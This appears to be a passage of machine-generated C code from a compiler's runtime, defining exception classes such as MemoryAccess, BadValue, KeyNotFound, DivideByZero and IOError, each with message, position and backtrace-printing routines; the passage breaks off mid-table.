YkxB Vpos = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=2595800; ZthrowThisNil(); } sf.pos=2595801; YAxe__YwtA__YxaJ(t, Aw); sf.pos=2595802; if ((Averbose && (t->Vbacktrace != NULL))) { sf.pos=2595803; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Y62e)); sf.pos=2595804; { Tfl Zf2i; Zf2 = t->Vbacktrace; Zf2i.l = Zf2; Zf2i.valp = (void)&Vpos; Zf2i.i = 0; for (; ZforListPtrCont(&Zf2i); ) { sf.pos=2595805; if ((Vpos->Vfilename == NULL)) { sf.pos=2595806; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Yv6_)); } else { sf.pos=2595807; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Yk)); sf.pos=2595808; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, YpI_(Vpos)); sf.pos=2595809; if ((Vpos->Vtext != NULL)) { sf.pos=2595810; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YFDa)); sf.pos=2595811; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, Vpos->Vtext); } } sf.pos=2595812; } } } topFrame = sf.prev; return; } void YAxe__YwtA__YxaJ(YAxe t, Tr Aw) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=3615900; ZthrowThisNil(); } sf.pos=3615901; if ((t->Vpos != NULL)) { sf.pos=3615902; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, YpI_(t->Vpos)); sf.pos=3615903; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YFDa)); } sf.pos=3615904; if (((t->Vmessage != NULL) && (ZbyteStringSize(t->Vmessage) != 0))) { sf.pos=3615905; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YHbP)); sf.pos=3615906; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, t->Vmessage); } else { sf.pos=3615907; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YDGe)); } topFrame = sf.prev; return; } Tc YAxe__Ytlm_I_imt[] = { (Tc)&YAxe__T, (Tc)0, (Tc)0, (Tc)0, (Tc)0, /* MEModule__CMemoryAccess.NEW - YAxe__YwtA__YRHRa / (Tc)YAxe__YwtA__YRHR, /* MEModule__CMemoryAccess.NEW - YAxe__YwtA__YRHR / (Tc)0, /* MEModule__CMemoryAccess.ToString - YAxe__YwtA__YH0V / (Tc)YAxe__YwtA__YxaJa, /* MEModule__CMemoryAccess.writeTo - YAxe__YwtA__YxaJa / (Tc)YAxe__YwtA__YxaJ, /* MEModule__CMemoryAccess.writeTo - YAxe__YwtA__YxaJ / (Tc)0, /* MEModule__CMemoryAccess.toString - YAxe__YwtA__Yoww / (Tc)0, /* MEModule__CMemoryAccess.getMessage - YAxe__YwtA__YCzX / (Tc)0, /* MEModule__CMemoryAccess.getPos - YAxe__YwtA__YvCK / (Tc)0, /* MEModule__CMemoryAccess.getBacktrace - YAxe__YwtA__Y4bq / (Tc)0, /* Init - YAxea / }; To ToYAxe[] = { {3, 0}, {0, (Tt)&string__T}, /* message / {0, (Tt)&YkxB__T}, /* pos / {0, (Tt)&list__T}, /* backtrace / }; Tto YAxe__T = {390, (Tc)&Y4QW, 0, ToYAxe}; void YE93(Ti Anr) { Tr ex; Tr t0 = {NULL}; if ((Anr == 11)) { Tr ex; Znao(&ex, YAxe__YwtA__YRHR(NULL, ((Tc)&YkfG)), YAxe__Ytlm_I_imt, 6); ZthrowIobject(ex); } if ((Anr == 8)) { Tr ex; Znao(&ex, YzSI__Ylz1__YwtA__YRHR(NULL, ((Tc)&YoEx)), YzSI__Ytlm_I_imt, 17); ZthrowIobject(ex); } if ((Anr == 7)) { Tr ex; Znao(&ex, YAxe__YwtA__YRHR(NULL, ((Tc)&YQNH)), YAxe__Ytlm_I_imt, 6); ZthrowIobject(ex); } Znao(&ex, YAxe__YwtA__YRHR(NULL, ZcS(((Tc)&YpCZ), Zint2string(Anr))), YAxe__Ytlm_I_imt, 6); ZthrowIobject(ex); } YVNj YVNj__YwtA__YRHR(YVNj t, Tc Amsg) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) {sf.pos=5337700; t = Za(sizeof(YVNj));} sf.pos=5337701; t->Vmessage = Amsg; sf.pos=5337702; t->Vpos = MZ__callerPos(); sf.pos=5337703; t->Vbacktrace = (sf.pos=5337704, MZ__backtrace(1, -1)); topFrame = sf.prev; return t; } void YVNj__YwtA__YxaJa(YVNj t, Tb Averbose, Tr Aw) { Zsf sf; Tl Zf2 = NULL; YkxB Vpos = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=9610700; ZthrowThisNil(); } sf.pos=9610701; YVNj__YwtA__YxaJ(t, Aw); sf.pos=9610702; if ((Averbose && (t->Vbacktrace != NULL))) { sf.pos=9610703; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Y62e)); sf.pos=9610704; { Tfl Zf2i; Zf2 = t->Vbacktrace; Zf2i.l = Zf2; Zf2i.valp = (void)&Vpos; Zf2i.i = 0; for (; ZforListPtrCont(&Zf2i); ) { sf.pos=9610705; if ((Vpos->Vfilename == NULL)) { sf.pos=9610706; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Yv6_)); } else { sf.pos=9610707; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Yk)); sf.pos=9610708; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, YpI_(Vpos)); sf.pos=9610709; if ((Vpos->Vtext != NULL)) { sf.pos=9610710; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YFDa)); sf.pos=9610711; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, Vpos->Vtext); } } sf.pos=9610712; } } } topFrame = sf.prev; return; } void YVNj__YwtA__YxaJ(YVNj t, Tr Aw) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=630800; ZthrowThisNil(); } sf.pos=630801; if ((t->Vpos != NULL)) { sf.pos=630802; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, YpI_(t->Vpos)); sf.pos=630803; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YFDa)); } sf.pos=630804; if (((t->Vmessage != NULL) && (ZbyteStringSize(t->Vmessage) != 0))) { sf.pos=630805; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YHbP)); sf.pos=630806; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, t->Vmessage); } else { sf.pos=630807; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YDGe)); } topFrame = sf.prev; return; } Tc YVNj__Ytlm_I_imt[] = { (Tc)&YVNj__T, (Tc)0, (Tc)0, (Tc)0, (Tc)0, /* MEModule__CInit.NEW - YVNj__YwtA__YRHRa / (Tc)YVNj__YwtA__YRHR, /* MEModule__CInit.NEW - YVNj__YwtA__YRHR / (Tc)0, /* MEModule__CInit.ToString - YVNj__YwtA__YH0V / (Tc)YVNj__YwtA__YxaJa, /* MEModule__CInit.writeTo - YVNj__YwtA__YxaJa / (Tc)YVNj__YwtA__YxaJ, /* MEModule__CInit.writeTo - YVNj__YwtA__YxaJ / (Tc)0, /* MEModule__CInit.toString - YVNj__YwtA__Yoww / (Tc)0, /* MEModule__CInit.getMessage - YVNj__YwtA__YCzX / (Tc)0, /* MEModule__CInit.getPos - YVNj__YwtA__YvCK / (Tc)0, /* MEModule__CInit.getBacktrace - YVNj__YwtA__Y4bq / (Tc)0, /* Init - YVNja / }; To ToYVNj[] = { {3, 0}, {0, (Tt)&string__T}, /* message / {0, (Tt)&YkxB__T}, /* pos / {0, (Tt)&list__T}, /* backtrace / }; Tto YVNj__T = {390, (Tc)&Ysqt, 0, ToYVNj}; void Y3w6(Tc Atext) { Tr ex; Tr t0 = {NULL}; Znao(&ex, YVNj__YwtA__YRHR(NULL, Atext), YVNj__Ytlm_I_imt, 7); ZthrowIobject(ex); } Yalz Yalz__YwtA__YRHR(Yalz t, Tc Amsg) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) {sf.pos=6059300; t = Za(sizeof(Yalz));} sf.pos=6059301; t->Vmessage = Amsg; sf.pos=6059302; t->Vpos = MZ__callerPos(); sf.pos=6059303; t->Vbacktrace = (sf.pos=6059304, MZ__backtrace(1, -1)); topFrame = sf.prev; return t; } void Yalz__YwtA__YxaJa(Yalz t, Tb Averbose, Tr Aw) { Zsf sf; Tl Zf2 = NULL; YkxB Vpos = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=4617100; ZthrowThisNil(); } sf.pos=4617101; Yalz__YwtA__YxaJ(t, Aw); sf.pos=4617102; if ((Averbose && (t->Vbacktrace != NULL))) { sf.pos=4617103; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Y62e)); sf.pos=4617104; { Tfl Zf2i; Zf2 = t->Vbacktrace; Zf2i.l = Zf2; Zf2i.valp = (void)&Vpos; Zf2i.i = 0; for (; ZforListPtrCont(&Zf2i); ) { sf.pos=4617105; if ((Vpos->Vfilename == NULL)) { sf.pos=4617106; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Yv6_)); } else { sf.pos=4617107; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Yk)); sf.pos=4617108; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, YpI_(Vpos)); sf.pos=4617109; if ((Vpos->Vtext != NULL)) { sf.pos=4617110; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YFDa)); sf.pos=4617111; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, Vpos->Vtext); } } sf.pos=4617112; } } } topFrame = sf.prev; return; } void Yalz__YwtA__YxaJ(Yalz t, Tr Aw) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=5637200; ZthrowThisNil(); } sf.pos=5637201; if ((t->Vpos != NULL)) { sf.pos=5637202; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, YpI_(t->Vpos)); sf.pos=5637203; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YFDa)); } sf.pos=5637204; if (((t->Vmessage != NULL) && (ZbyteStringSize(t->Vmessage) != 0))) { sf.pos=5637205; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YHbP)); sf.pos=5637206; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, t->Vmessage); } else { sf.pos=5637207; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YDGe)); } topFrame = sf.prev; return; } Tc Yalz__Ytlm_I_imt[] = { (Tc)&Yalz__T, (Tc)0, (Tc)0, (Tc)0, (Tc)0, /* MEModule__CBadValue.NEW - Yalz__YwtA__YRHRa / (Tc)Yalz__YwtA__YRHR, /* MEModule__CBadValue.NEW - Yalz__YwtA__YRHR / (Tc)0, /* MEModule__CBadValue.ToString - Yalz__YwtA__YH0V / (Tc)Yalz__YwtA__YxaJa, /* MEModule__CBadValue.writeTo - Yalz__YwtA__YxaJa / (Tc)Yalz__YwtA__YxaJ, /* MEModule__CBadValue.writeTo - Yalz__YwtA__YxaJ / (Tc)0, /* MEModule__CBadValue.toString - Yalz__YwtA__Yoww / (Tc)0, /* MEModule__CBadValue.getMessage - Yalz__YwtA__YCzX / (Tc)0, /* MEModule__CBadValue.getPos - Yalz__YwtA__YvCK / (Tc)0, /* MEModule__CBadValue.getBacktrace - Yalz__YwtA__Y4bq / (Tc)0, /* Init - Yalza / }; To ToYalz[] = { {3, 0}, {0, (Tt)&string__T}, /* message / {0, (Tt)&YkxB__T}, /* pos / {0, (Tt)&list__T}, /* backtrace / }; Tto Yalz__T = {390, (Tc)&YEZq, 0, ToYalz}; void Yaez(Tc Atext) { Tr ex; Tr t0 = {NULL}; Znao(&ex, Yalz__YwtA__YRHR(NULL, Atext), Yalz__Ytlm_I_imt, 10); ZthrowIobject(ex); } Y2EX Y2EX__Yalz__YwtA__YRHR(Y2EX t, Tc Amsg) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) {sf.pos=2958500; t = Za(sizeof(Y2EX));} sf.pos=2958501; t->Vmessage = Amsg; sf.pos=2958502; t->Vpos = MZ__callerPos(); sf.pos=2958503; t->Vbacktrace = (sf.pos=2958504, MZ__backtrace(1, -1)); topFrame = sf.prev; return t; } void Y2EX__Yalz__YwtA__YxaJ(Y2EX t, Tr Aw) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=4312400; ZthrowThisNil(); } sf.pos=4312401; if ((t->Vpos != NULL)) { sf.pos=4312402; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, YpI_(t->Vpos)); sf.pos=4312403; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YFDa)); } sf.pos=4312404; if (((t->Vmessage != NULL) && (ZbyteStringSize(t->Vmessage) != 0))) { sf.pos=4312405; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YHbP)); sf.pos=4312406; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, t->Vmessage); } else { sf.pos=4312407; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YDGe)); } topFrame = sf.prev; return; } void Y2EX__Yalz__YwtA__YxaJa(Y2EX t, Tb Averbose, Tr Aw) { Zsf sf; Tl Zf2 = NULL; YkxB Vpos = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=5332500; ZthrowThisNil(); } sf.pos=5332501; Y2EX__Yalz__YwtA__YxaJ(t, Aw); sf.pos=5332502; if ((Averbose && (t->Vbacktrace != NULL))) { sf.pos=5332503; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Y62e)); sf.pos=5332504; { Tfl Zf2i; Zf2 = t->Vbacktrace; Zf2i.l = Zf2; Zf2i.valp = (void)&Vpos; Zf2i.i = 0; for (; ZforListPtrCont(&Zf2i); ) { sf.pos=5332505; if ((Vpos->Vfilename == NULL)) { sf.pos=5332506; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Yv6_)); } else { sf.pos=5332507; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Yk)); sf.pos=5332508; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, YpI_(Vpos)); sf.pos=5332509; if ((Vpos->Vtext != NULL)) { sf.pos=5332510; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YFDa)); sf.pos=5332511; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, Vpos->Vtext); } } sf.pos=5332512; } } } topFrame = sf.prev; return; } Tc Y2EX__Ytlm_I_imt[] = { (Tc)&Y2EX__T, (Tc)0, (Tc)0, (Tc)0, (Tc)0, /* MEModule__CKeyNotFound.NEW - Y2EX__Yalz__YwtA__YRHRa / (Tc)Y2EX__Yalz__YwtA__YRHR, /* MEModule__CKeyNotFound.NEW - Y2EX__Yalz__YwtA__YRHR / (Tc)0, /* MEModule__CKeyNotFound.ToString - Y2EX__Yalz__YwtA__YH0V / (Tc)Y2EX__Yalz__YwtA__YxaJa, /* MEModule__CKeyNotFound.writeTo - Y2EX__Yalz__YwtA__YxaJa / (Tc)Y2EX__Yalz__YwtA__YxaJ, /* MEModule__CKeyNotFound.writeTo - Y2EX__Yalz__YwtA__YxaJ / (Tc)0, /* MEModule__CKeyNotFound.toString - Y2EX__Yalz__YwtA__Yoww / (Tc)0, /* MEModule__CKeyNotFound.getMessage - Y2EX__Yalz__YwtA__YCzX / (Tc)0, /* MEModule__CKeyNotFound.getPos - Y2EX__Yalz__YwtA__YvCK / (Tc)0, /* MEModule__CKeyNotFound.getBacktrace - Y2EX__Yalz__YwtA__Y4bq / (Tc)0, /* Init - Y2EXa / }; To ToY2EX[] = { {3, 0}, {0, (Tt)&string__T}, /* message / {0, (Tt)&YkxB__T}, /* pos / {0, (Tt)&list__T}, /* backtrace / }; Tto Y2EX__T = {390, (Tc)&YRiW, 0, ToY2EX}; void Yxmk(Ti Akey, Tc Amsg) { Tr ex; Tr t0 = {NULL}; Znao(&ex, Y2EX__Yalz__YwtA__YRHR(NULL, ZcS3(Amsg, ((Tc)&Ym6C), Zint2string(Akey))), Y2EX__Ytlm_I_imt, 12); ZthrowIobject(ex); } void Y5LT(Tc Akey, Tc Amsg) { Tr ex; Tr t0 = {NULL}; Znao(&ex, Y2EX__Yalz__YwtA__YRHR(NULL, ZcS5(Amsg, ((Tc)&YJ3Y), Akey, ((Tc)&YI), (Tc)1)), Y2EX__Ytlm_I_imt, 12); ZthrowIobject(ex); } YX0i YX0i__Yalz__YwtA__YRHR(YX0i t, Tc Amsg) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) {sf.pos=8500000; t = Za(sizeof(YX0i));} sf.pos=8500001; t->Vmessage = Amsg; sf.pos=8500002; t->Vpos = MZ__callerPos(); sf.pos=8500003; t->Vbacktrace = (sf.pos=8500004, MZ__backtrace(1, -1)); topFrame = sf.prev; return t; } void YX0i__Yalz__YwtA__YxaJ(YX0i t, Tr Aw) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=1471500; ZthrowThisNil(); } sf.pos=1471501; if ((t->Vpos != NULL)) { sf.pos=1471502; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, YpI_(t->Vpos)); sf.pos=1471503; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YFDa)); } sf.pos=1471504; if (((t->Vmessage != NULL) && (ZbyteStringSize(t->Vmessage) != 0))) { sf.pos=1471505; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YHbP)); sf.pos=1471506; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, t->Vmessage); } else { sf.pos=1471507; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YDGe)); } topFrame = sf.prev; return; } void YX0i__Yalz__YwtA__YxaJa(YX0i t, Tb Averbose, Tr Aw) { Zsf sf; Tl Zf2 = NULL; YkxB Vpos = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=2491600; ZthrowThisNil(); } sf.pos=2491601; YX0i__Yalz__YwtA__YxaJ(t, Aw); sf.pos=2491602; if ((Averbose && (t->Vbacktrace != NULL))) { sf.pos=2491603; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Y62e)); sf.pos=2491604; { Tfl Zf2i; Zf2 = t->Vbacktrace; Zf2i.l = Zf2; Zf2i.valp = (void)&Vpos; Zf2i.i = 0; for (; ZforListPtrCont(&Zf2i); ) { sf.pos=2491605; if ((Vpos->Vfilename == NULL)) { sf.pos=2491606; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Yv6_)); } else { sf.pos=2491607; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Yk)); sf.pos=2491608; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, YpI_(Vpos)); sf.pos=2491609; if ((Vpos->Vtext != NULL)) { sf.pos=2491610; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YFDa)); sf.pos=2491611; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, Vpos->Vtext); } } sf.pos=2491612; } } } topFrame = sf.prev; return; } Tc YX0i__Ytlm_I_imt[] = { (Tc)&YX0i__T, (Tc)0, (Tc)0, (Tc)0, (Tc)0, / MEModule__CKeyExists.NEW - YX0i__Yalz__YwtA__YRHRa / (Tc)YX0i__Yalz__YwtA__YRHR, /* MEModule__CKeyExists.NEW - YX0i__Yalz__YwtA__YRHR / (Tc)0, /* MEModule__CKeyExists.ToString - YX0i__Yalz__YwtA__YH0V / (Tc)YX0i__Yalz__YwtA__YxaJa, /* MEModule__CKeyExists.writeTo - YX0i__Yalz__YwtA__YxaJa / (Tc)YX0i__Yalz__YwtA__YxaJ, /* MEModule__CKeyExists.writeTo - YX0i__Yalz__YwtA__YxaJ / (Tc)0, /* MEModule__CKeyExists.toString - YX0i__Yalz__YwtA__Yoww / (Tc)0, /* MEModule__CKeyExists.getMessage - YX0i__Yalz__YwtA__YCzX / (Tc)0, /* MEModule__CKeyExists.getPos - YX0i__Yalz__YwtA__YvCK / (Tc)0, /* MEModule__CKeyExists.getBacktrace - YX0i__Yalz__YwtA__Y4bq / (Tc)0, /* Init - YX0ia / }; To ToYX0i[] = { {3, 0}, {0, (Tt)&string__T}, /* message / {0, (Tt)&YkxB__T}, /* pos / {0, (Tt)&list__T}, /* backtrace / }; Tto YX0i__T = {390, (Tc)&Y9_h, 0, ToYX0i}; void YL9Z(Ti Akey, Tc Amsg) { Tr ex; Tr t0 = {NULL}; Znao(&ex, YX0i__Yalz__YwtA__YRHR(NULL, ZcS3(Amsg, ((Tc)&Y9qa), Zint2string(Akey))), YX0i__Ytlm_I_imt, 14); ZthrowIobject(ex); } void YEeX(Tc Akey, Tc Amsg) { Tr ex; Tr t0 = {NULL}; Znao(&ex, YX0i__Yalz__YwtA__YRHR(NULL, ZcS5(Amsg, ((Tc)&YMKM), Akey, ((Tc)&YI), (Tc)1)), YX0i__Ytlm_I_imt, 14); ZthrowIobject(ex); } YzSI YzSI__Ylz1__YwtA__YRHR(YzSI t, Tc Amsg) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) {sf.pos=7347100; t = Za(sizeof(YzSI));} sf.pos=7347101; t->Vmessage = Amsg; sf.pos=7347102; t->Vpos = MZ__callerPos(); sf.pos=7347103; t->Vbacktrace = (sf.pos=7347104, MZ__backtrace(1, -1)); topFrame = sf.prev; return t; } void YzSI__Ylz1__YwtA__YxaJ(YzSI t, Tr Aw) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=4413000; ZthrowThisNil(); } sf.pos=4413001; if ((t->Vpos != NULL)) { sf.pos=4413002; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, YpI_(t->Vpos)); sf.pos=4413003; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YFDa)); } sf.pos=4413004; if (((t->Vmessage != NULL) && (ZbyteStringSize(t->Vmessage) != 0))) { sf.pos=4413005; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YHbP)); sf.pos=4413006; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, t->Vmessage); } else { sf.pos=4413007; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YDGe)); } topFrame = sf.prev; return; } void YzSI__Ylz1__YwtA__YxaJa(YzSI t, Tb Averbose, Tr Aw) { Zsf sf; Tl Zf2 = NULL; YkxB Vpos = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=5433100; ZthrowThisNil(); } sf.pos=5433101; YzSI__Ylz1__YwtA__YxaJ(t, Aw); sf.pos=5433102; if ((Averbose && (t->Vbacktrace != NULL))) { sf.pos=5433103; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Y62e)); sf.pos=5433104; { Tfl Zf2i; Zf2 = t->Vbacktrace; Zf2i.l = Zf2; Zf2i.valp = (void)&Vpos; Zf2i.i = 0; for (; ZforListPtrCont(&Zf2i); ) { sf.pos=5433105; if ((Vpos->Vfilename == NULL)) { sf.pos=5433106; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Yv6_)); } else { sf.pos=5433107; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Yk)); sf.pos=5433108; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, YpI_(Vpos)); sf.pos=5433109; if ((Vpos->Vtext != NULL)) { sf.pos=5433110; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YFDa)); sf.pos=5433111; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, Vpos->Vtext); } } sf.pos=5433112; } } } topFrame = sf.prev; return; } Tc YzSI__Ytlm_I_imt[] = { (Tc)&YzSI__T, (Tc)0, (Tc)0, (Tc)0, (Tc)0, / MEModule__CDivideByZero.NEW - YzSI__Ylz1__YwtA__YRHRa / (Tc)YzSI__Ylz1__YwtA__YRHR, /* MEModule__CDivideByZero.NEW - YzSI__Ylz1__YwtA__YRHR / (Tc)0, /* MEModule__CDivideByZero.ToString - YzSI__Ylz1__YwtA__YH0V / (Tc)YzSI__Ylz1__YwtA__YxaJa, /* MEModule__CDivideByZero.writeTo - YzSI__Ylz1__YwtA__YxaJa / (Tc)YzSI__Ylz1__YwtA__YxaJ, /* MEModule__CDivideByZero.writeTo - YzSI__Ylz1__YwtA__YxaJ / (Tc)0, /* MEModule__CDivideByZero.toString - YzSI__Ylz1__YwtA__Yoww / (Tc)0, /* MEModule__CDivideByZero.getMessage - YzSI__Ylz1__YwtA__YCzX / (Tc)0, /* MEModule__CDivideByZero.getPos - YzSI__Ylz1__YwtA__YvCK / (Tc)0, /* MEModule__CDivideByZero.getBacktrace - YzSI__Ylz1__YwtA__Y4bq / (Tc)0, /* Init - YzSIa / }; To ToYzSI[] = { {3, 0}, {0, (Tt)&string__T}, /* message / {0, (Tt)&YkxB__T}, /* pos / {0, (Tt)&list__T}, /* backtrace / }; Tto YzSI__T = {390, (Tc)&YxFl, 0, ToYzSI}; YXKl YXKl__YwtA__YRHR(YXKl t, Tc Amsg) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) {sf.pos=4829900; t = Za(sizeof(YXKl));} sf.pos=4829901; t->Vmessage = Amsg; sf.pos=4829902; t->Vpos = MZ__callerPos(); sf.pos=4829903; t->Vbacktrace = (sf.pos=4829904, MZ__backtrace(1, -1)); topFrame = sf.prev; return t; } void YXKl__YwtA__YxaJa(YXKl t, Tb Averbose, Tr Aw) { Zsf sf; Tl Zf2 = NULL; YkxB Vpos = 0; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=8968500; ZthrowThisNil(); } sf.pos=8968501; YXKl__YwtA__YxaJ(t, Aw); sf.pos=8968502; if ((Averbose && (t->Vbacktrace != NULL))) { sf.pos=8968503; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Y62e)); sf.pos=8968504; { Tfl Zf2i; Zf2 = t->Vbacktrace; Zf2i.l = Zf2; Zf2i.valp = (void)&Vpos; Zf2i.i = 0; for (; ZforListPtrCont(&Zf2i); ) { sf.pos=8968505; if ((Vpos->Vfilename == NULL)) { sf.pos=8968506; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Yv6_)); } else { sf.pos=8968507; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&Yk)); sf.pos=8968508; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, YpI_(Vpos)); sf.pos=8968509; if ((Vpos->Vtext != NULL)) { sf.pos=8968510; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YFDa)); sf.pos=8968511; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, Vpos->Vtext); } } sf.pos=8968512; } } } topFrame = sf.prev; return; } void YXKl__YwtA__YxaJ(YXKl t, Tr Aw) { Zsf sf; sf.prev = topFrame; sf.pos = 0; topFrame = &sf; if (t == NULL) { sf.pos=9988600; ZthrowThisNil(); } sf.pos=9988601; if ((t->Vpos != NULL)) { sf.pos=9988602; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, YpI_(t->Vpos)); sf.pos=9988603; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YFDa)); } sf.pos=9988604; if (((t->Vmessage != NULL) && (ZbyteStringSize(t->Vmessage) != 0))) { sf.pos=9988605; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YHbP)); sf.pos=9988606; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, t->Vmessage); } else { sf.pos=9988607; ((Ts ()(void, Tc))(Aw.table[1]))(Aw.ptr, ((Tc)&YDGe)); } topFrame = sf.prev; return; } Tc YXKl__Ytlm_I_imt[] = { (Tc)&YXKl__T, (Tc)0, (Tc)0, (Tc)0, (Tc)0, /* MEModule__CIOError.NEW - YXKl__YwtA__YRHRa / (Tc)YXKl__YwtA__YRHR, /* MEModule__CIOError.NEW - YXKl__YwtA__YRHR / (Tc)0, /* MEModule__CIOError.ToString - YXKl__YwtA__YH0V / (Tc)YXKl__YwtA__YxaJa, /* MEModule__CIOError.writeTo - YXKl__YwtA__YxaJa / (Tc)YXKl__YwtA__YxaJ, /* MEModule__CIOError.writeTo - YXKl__YwtA__YxaJ / (Tc)0, /* MEModule__CIOError.toString - YXKl__YwtA__Yoww / (Tc)0, /* MEModule__CIOError.getMessage - 